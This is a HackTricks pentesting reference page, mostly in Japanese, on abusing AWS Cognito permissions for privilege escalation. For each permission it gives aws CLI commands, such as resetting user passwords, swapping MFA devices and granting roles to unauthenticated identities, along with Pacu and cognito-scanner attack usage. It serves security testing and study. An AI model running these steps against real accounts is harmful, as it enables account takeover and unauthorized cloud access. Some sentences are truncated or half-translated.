AWS - Cognito Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cognito

Cognitoの詳細については次を参照してください:

AWS - Cognito Enum

Identity Poolから資格情報を収集する

CognitoはIAM role credentialsauthenticatedおよびunauthenticatedの両方のusersに付与できるため、アプリケーションのIdentity Pool ID(多くの場合アプリにハードコーディングされている)を特定できれば、新しいクレデンシャルを取得してprivescすることができます(おそらく以前は一切クレデンシャルを持っていなかったAWSアカウント内で)。

For more information check this page.

潜在的な影響: unauth usersに紐付いたサービスロールへの直接的なprivesc(おそらくauth usersに紐付いたロールにも)。

cognito-identity:SetIdentityPoolRoles, iam:PassRole

この権限があれば、cognito appのauthenticated/unauthenticated usersに対してgrant any cognito roleを与えることができます。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

If the cognito app unauthenticated users が有効になっていない 場合、有効化するために cognito-identity:UpdateIdentityPool 権限も必要になることがあります。

Potential Impact: 任意の cognito role への直接的な privesc。

cognito-identity:update-identity-pool

この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や、自分でログインできるその他の identity provider を、この Cognito Identity Pool にアクセスする手段として設定できます。すると、そのユーザー提供元に単に login するだけで、Identity Pool に設定された authenticated role へアクセスできる ようになります。

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

この権限を悪用して basic auth を許可することも可能です:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: identity pool 内に設定された認証済み IAM role を侵害する可能性がある。

cognito-idp:AdminAddUserToGroup

この権限は CognitoユーザーをCognitoグループに追加する ことを許可するため、攻撃者はこの権限を悪用して攻撃者が操作するユーザーを権限が より高い または 異なる IAM roles を持つ他のグループに追加する可能性がある:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

潜在的影響: Privesc が他の Cognito グループおよび User Pool Groups に紐付く IAM ロールへの権限昇格を引き起こす可能性があります。

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

これらの権限を持つ攻撃者は、グループを作成/更新して、侵害された Cognito Identity Provider によって使用可能なすべての IAM ロール を割り当て、侵害されたユーザーをそのグループの一員にして、それらすべてのロールにアクセスできるようにする可能性があります:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在的影響: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

この権限によりサインアップを確認できます。デフォルトでは誰でも Cognito アプリケーションにサインインできるため、そのままにしておくと、ユーザーは任意のデータでアカウントを作成し、この権限でそれを確認できてしまいます。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potential Impact: 新しいユーザーを登録できる場合、認証済みユーザーの identity pool IAM role に対する間接的な privesc。任意のアカウントを confirm できることで、他のアプリ機能への間接的な privesc。

cognito-idp:AdminCreateUser

この権限があれば、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled な状態で作成されますが、パスワードの変更が必要になります。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在的な影響: 認証済みユーザー向けの identity pool IAM role への直接的な privesc。 他のアプリ機能(任意のユーザーを作成できる)への間接的な privesc。

cognito-idp:AdminEnableUser

この権限は、攻撃者が無効化されたユーザーの認証情報を入手し、そのユーザーを再度有効化する必要があるという非常に稀なエッジケースで役立ちます。

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在的影響: 間接的に identity pool IAM role への privesc を引き起こし、攻撃者が無効化されたユーザーの認証情報を持っていた場合はそのユーザーの権限を取得できます。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

この権限はmethod ADMIN_USER_PASSWORD_AUTH. 詳細はリンクを参照してください。

cognito-idp:AdminSetUserPassword

この権限により攻撃者は任意のユーザーのパスワードを変更でき、MFAが有効でないユーザーをなりすますことが可能になります。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

潜在的影響: ほぼ任意のユーザーに対する直接的な privesc を引き起こす可能性があり、そのユーザーが所属するすべてのグループへのアクセスや Identity Pool の authenticated IAM role へのアクセスが可能になる。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 攻撃者はこの権限を悪用して、自身が管理する携帯電話をユーザーのSMS MFAとして設定する可能性がある。

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 前のものと同様に、この権限を使って user pool の MFA 設定を変更し、MFA 保護を bypass できます。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: ユーザープールを更新して MFA ポリシーを変更することも可能です。 Check cli here.

Potential Impact: 攻撃者が認証情報を知っている任意のユーザーに対する間接的な privesc が発生する可能性があり、MFA 保護を回避できる場合があります。

cognito-idp:AdminUpdateUserAttributes

この権限を持つ攻撃者は、制御下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでより高い権限を取得しようとする可能性があります。
これにより、メールアドレスや電話番号を変更して検証済みとして設定することができます。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potential Impact: ユーザ属性に基づいて権限を付与する Cognito User Pool を利用する基盤アプリケーションに対する間接的な privesc の可能性。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

この権限を持つ攻撃者は、既存のクライアントより制限の緩い新しい User Pool Client を作成できる可能性があります。例えば、新しいクライアントは任意の認証方法を許可したり、シークレットを持たなかったり、トークン取り消しを無効にしたり、トークンの有効期限を長く設定したりできます…

新しいクライアントを作成する代わりに、既存のクライアントを変更して同様のことを行うことも可能です。

コマンドライン(または更新用)で全オプションを確認できます。チェックしてみてください!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在的影響: Identity Pool の許可されたユーザー(User Pool で使用される)に対する間接的な privesc の可能性。新しい client を作成してセキュリティ対策を緩和することで、攻撃者が自分で作成したユーザーでログインできるようになる。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

攻撃者はこの権限を悪用して、新規ユーザーを含む csv をアップロードすることでユーザーを作成できます。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(新しい import job を作成する場合、iam passrole permission が必要になる可能性があります。まだテストしていません)。

潜在的影響: 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるその他のアプリ機能への間接的な privesc。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻撃者は新しい identity provider を作成し、このプロバイダ経由でログインすることができるようになります。

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: 認証済みユーザーが identity pool IAM role への直接的な privesc。アプリの他の機能が任意のユーザーを作成できることによる間接的な privesc。

cognito-sync:* 分析

これは Cognito Identity Pools のロールでデフォルトによく見られる許可です。ワイルドカードを含む許可は常に見た目が良くない(特に AWS 由来の場合)ですが、与えられた許可は攻撃者の観点から見るとそれほど有用ではありません

この許可は Identity Pools の情報および Identity Pools 内の Identity IDs を読み取ることを許可します(これは機密情報ではありません)。
Identity IDs には Datasets が割り当てられていることがあり、これはセッションの情報(AWS はこれを saved game のように定義しています)。機密情報が含まれている可能性はありますが、その確率はかなり低いです。この情報にアクセスする方法はenumeration pageに記載されています。

攻撃者はこれらの許可を使って、enroll himself to a Cognito stream that publish changes on these datases や lambda that triggers on cognito events に自分を登録することも可能です。私はこれが使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、あり得ないわけではありません。

Automatic Tools

  • Pacu, the AWS exploitation framework, now includes the “cognito__enum” and “cognito__attack” modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

モジュールの機能の説明は blog post の part 2 を参照してください。インストール手順はメインの Pacu ページを参照してください。

使用例

特定の identity pool と user pool client に対してユーザー作成とすべての privesc ベクトルを試みるための cognito__attack の使用例:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

現在の AWS アカウントに表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するための cognito__enum の使用例:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner は python 製の CLI ツールで、Cognito に対するさまざまな攻撃(privesc のエスカレーションを含む)を実装しています。

Installation

$ pip install cognito-scanner

使用法

$ cognito-scanner --help

詳細については以下を参照してください: https://github.com/padok-team/cognito-scanner

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする